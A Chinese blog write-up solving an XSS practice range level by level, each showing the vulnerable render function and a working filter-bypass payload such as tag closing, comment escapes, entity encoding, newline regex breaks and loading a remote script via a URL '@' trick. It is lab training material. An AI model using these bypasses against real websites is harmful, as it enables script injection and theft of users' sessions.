耗子的XSS靶场wp

耗子的XSS靶场wp

靶场传送门

GitHub仓库传送门

0x00

非常简单的一关

function render (input) {
  return '<div>' + input + '</div>'
}

直接通关

<script>alert(1)</script>

0x01

这一关使用了textarea来将我们的输入转成文本

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

这里我的思路是闭合textarea

</textarea><script>alert(1)</script>

0x02

第二关是闭合属性的

function render (input) {
  return '<input type="name" value="' + input + '">'
}

只需要简单闭合就🆗了

""<><script>alert(1)</script>

<input type="name" value=""><script>alert(1)</script>">

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到过滤了[ ] ( ) 这几个符号,我一开始的思路是想到用编码方式绕过,经过学习发现这个想法是不能实现的。

第三关查阅了资料一次对浏览器解析和XSS的深度探究从中了解在原始文本元素(Raw textelements),<script><style>中是无法使用字符实体的。

要用到 ` 深入浅出ES6(四):模板字符串

<script>alert`1`</script>

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

可以看到 ` 也被过滤掉了,那么思路回到编码绕过并根据上一关的学习,在

<script>中是无法使用编码字符实体的,所以需要借助属性值,因为属性值首先会被HTML解析 。那么思路明确后非常简单了,先去bp学院复制一个payload然后将过滤字符进行实体编码转换

<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert&#40;1&#41;"></img>

0x05

这一关涉及到注释

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

可以看到-->被替换成一个😂来避免注释。我试过通过闭合后面的,但是不成功

<script>alert(1)</script><!-- 

<!--<script>alert(1)</script><!-- -->

也就是说我们必须闭合前面的才能逃出注释,然后注释有2种

<!-- -->
<!-- --!>

所以答案很明显了

--!><script>alert(1)</script>

<-- --!><script>alert(1)</script> -->

0x06

不得不说JavaScript真的是太自由了

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这个正则应该不难看懂,过滤掉了autoon开头的事件并且还过滤了>不给你闭合。而之所以说JavaScript自由就是因为通过换行来打断正则匹配。

type="image" src="" onerror
="javascript:alert(1)"

<input value=1 type="image" src="" onerror
="javascript:alert(1)" type="text">

0x07

这一题的过滤非常强大,然而我再次见识到了JavaScript的自由

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这个正则也不难看懂,就是把<></>中的内容全部过滤掉,我一开始的思路是通过实体编码绕过,但是<article>确实会解码但是都被解析成字符串了,无法从文本域中实现突破。查了资料原来单标签不闭合也能执行

<img src="" onerror="alert(1)"

<article><img src="" onerror="alert(1)"</article>

0x08

这一关也是关于正则绕过的,不过跟之前那关略微的不同

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

可以看到仅仅是过滤</style>所以我们可以通过加个空格绕过</style >

</style ><script>alert(1)</script>
    
    <style>
    </style ><script>alert(1)</script>
        </style>

0x09

这一关是一个白名单绕过

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

通过代码可以看出,意图是我们只能调用白名单网址的js脚本,但是这不能保证安全,我们可以url链接的最后加一些字符,然后通过onerror事件弹窗

https://www.segmentfault.com123" οnerrοr="alert(1)

<script src="https://www.segmentfault.com123" onerror="alert(1)"></script>

还有一种就是通过闭合掉<script>再弄个我们自己的

https://www.segmentfault.com"></script><img src="" οnerrοr="alert(1)

<script src="https://www.segmentfault.com"></script><img src="" onerror="alert(1)"></script>

0x0A

这一关过滤的非常狠

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

跟上一关其实一样,意图是指定我们scriptsrc但是这样的过滤也并非安全的。因为对于一个https://text.url@target.url来说,最后会跳转到target.url 。因此思路其实跟上一关很像,污染src参数

https://www.segmentfault.com@xss.haozi.me/j.js

<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

0x0B

这一关是把你的输入全部换成大写,因为 js 对大小写敏感。

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

但是在 js解析器 解析js之前,是 HTML解析器HTML文档进行解析,所以我们可以把

js代码先进行HTML实体编码,就能绕过大写替换了。

<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">
    
<h1><IMG SRC="" ONERROR="&#X61;&#X6C;&#X65;&#X72;&#X74;(1)"></h1>

0x0C

在上一关的基础上还多了一层正则过滤script

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

然而上一关我们就没有用到script所以你懂的😂

<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">
    
<h1><IMG SRC="" ONERROR="&#X61;&#X6C;&#X65;&#X72;&#X74;(1)"></h1>    

0x0D

这一关是正则过滤掉一些符号

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
}

对于这样的编码,其实用一个简单的回车就可以突破。

然后用-->注释掉后面多余的东西,但是我并没有查到-->关于注释的资料,而且我在vscode中使用还被标红了,不过用浏览器打开确实是被注释掉了。

13
alert(1)
-->
    
<script>
          // alert('13
alert(1)
-->')
    </script>    

0x0E

这一题真的很搞人,正则过滤了所有的标签,并且会把所有输入转成大写。

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

首先为了突破这个标签限制使用了一个古英文字符,是古英文的小写s ,转成大写就是S 但是又不在过滤范围内,非常的🐂批👍

然后答案是3年前的了,我看的参考博客也是1年半之前,可能失效了。

答案我在firefoxGoogle都不行,因为url被大写后J.JS是找不到j.js的,所以我的思路是使用url编码来绕过正则过滤。

<ſcript src="https://xss.haozi.me/%6A%2E%6A%73"></script>

<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/%6A%2E%6A%73"></SCRIPT></h1>

0x0F

这一关跟0x0A过滤一样,并且在还用了一个console.error函数使我们的输入字符串化。

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

但其实这个过滤形同虚设。因为在解析js之前还有一个HTML解析 ,而编码恰恰帮我们转换成了HTML实体编码

');alert('1

<img src onerror="console.error('&#39;);alert(&#39;1')">

0x10

查了一下可能是关于vue的?反正非常简单,因为毫无过滤

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

简单闭合一下就行

'';alert(1)

<script>
  window.data = '';alert(1)
</script>

0x11

这一关的代码有点离谱,不过逻辑还是挺简单的

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

这一关巧妙的利用了过滤非常的有意思。我们来看看如何利用的

");alert(1)//

然后在HTML中会是什么样的呢?

<script>
    var url = 'javascript:console.log("\");alert(1)\/\/")'
    var a = document.createElement('a')
    a.href = url
    document.body.appendChild(a)
    a.click()
</script>
<a href="javascript:console.log("");alert(1)//")"></a>

可以看到恰恰是这个转义的 " 帮助我们闭合。

因为由此推断出了一个新的答案

\\");alert(1)//

HTML中是这样的

<script>
  var url = 'javascript:console.log("\\\\\");alert(1)\/\/")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
<a href="javascript:console.log("\\");alert(1)//")"></a>

原因显而易见,在一连串的转义下("\\\\\")<a>中只剩下("\\")然后再次转义就只剩下("\")

0x12

这一关的代码意图是为了弥补上面一关出现的2次转义而出现突破。所以也转义了2次

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

但是道高一尺魔高一丈,既然你转义2次,那我就转义你的转义😋

\");alert(1)//

<script>console.log("\\");alert(1)//");</script>
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值